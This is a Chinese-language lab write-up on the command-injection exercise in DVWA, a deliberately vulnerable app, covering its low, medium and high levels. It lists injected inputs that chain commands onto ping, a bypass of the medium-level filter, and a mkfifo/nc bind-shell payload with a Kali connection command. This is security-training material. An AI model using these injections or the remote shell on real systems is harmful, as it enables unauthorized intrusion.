DVWA命令执行漏洞
Created at 2018-07-19 Updated at 2018-07-19
low级源码:
1 |
|
stristr(string,search,before_search)
stristr()
函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。
php_uname(mode)
返回运行 PHP 的系统的有关信息
参数:
‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。
‘s’:操作系统名称。例如: FreeBSD。
‘n’:主机名。例如: localhost.example.com。
‘r’:版本名称,例如: 5.1.2-RELEASE。
‘v’:版本信息。操作系统之间有很大的不同。
‘m’:机器类型。例如:i386。
windows和Linux系统中都可以用”;”、 ”&&”、”||”和”&”来执行多条命令
; :执行多个指令,前一个执行失败都没有关系
&&:前一个指令执行成功后才能执行后一个指令
||:前一个指令执行失败后才能执行后一个指令
&:两个命令同时执行(时间不分先后)
①输入;ls;cd source;ls
完整的语句是:ping -c 3 ;ls;cd source;ls
②输入127.0.0.1&&ls
完整的语句是:ping -c 3 127.0.0.1&&ls
注:这里不能直接&&ls,因为完整的语句会变成ping -c 3 &&ls,&&前面的语句不能被成功执行,因此后面的ls不能被执行
③输入||ls
完整的语句是:ping -c 3 ||ls
前面一句执行失败,后面一句能执行
注:这里不能127.0.0.1||ls,因为完整的语句会变成ping -c 3 127.0.0.1||ls,前一句能执行成功,后一句就不能被执行
④输入127.0.0.1&ls
完整的语句是:ping -c 3 127.0.0.1&ls
注:也可以用&ls
,前一句执行失败,不影响后一句
medium等级源码:
1 |
|
=>符号来分隔键和值,左侧表示键,右侧表示值。例如:array( '&&' => '0', ';' => '1');
数组array中的键&&等于0,键;等于1
这里过滤了;和&&,可以用&或||
①如果输入127.0.0.1;ls
完整的语句是ping -c 3 127.0.0.1;ls
,但是会被修改成ping -c 3 127.0.0.1ls
不能被执行
②如果输入127.0.0.1&&ls
完整的语句是ping -c 3 127.0.0.1&&ls
,但是会被修改成ping -c 3 127.0.0.1ls
不能被执行
③输入127.0.0.1&ls
完整的语句是ping -c 3 127.0.0.1&ls
④输入||ls
完整的语句是:ping -c 3 ||ls
high等级源码:
1 |
|
emmmm还不知道怎么解
利用nc来监听4444端口,再进行管道的重定向:;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
在Kali Linux中直接nc连接上该服务器:nc 192.168.43.165 4444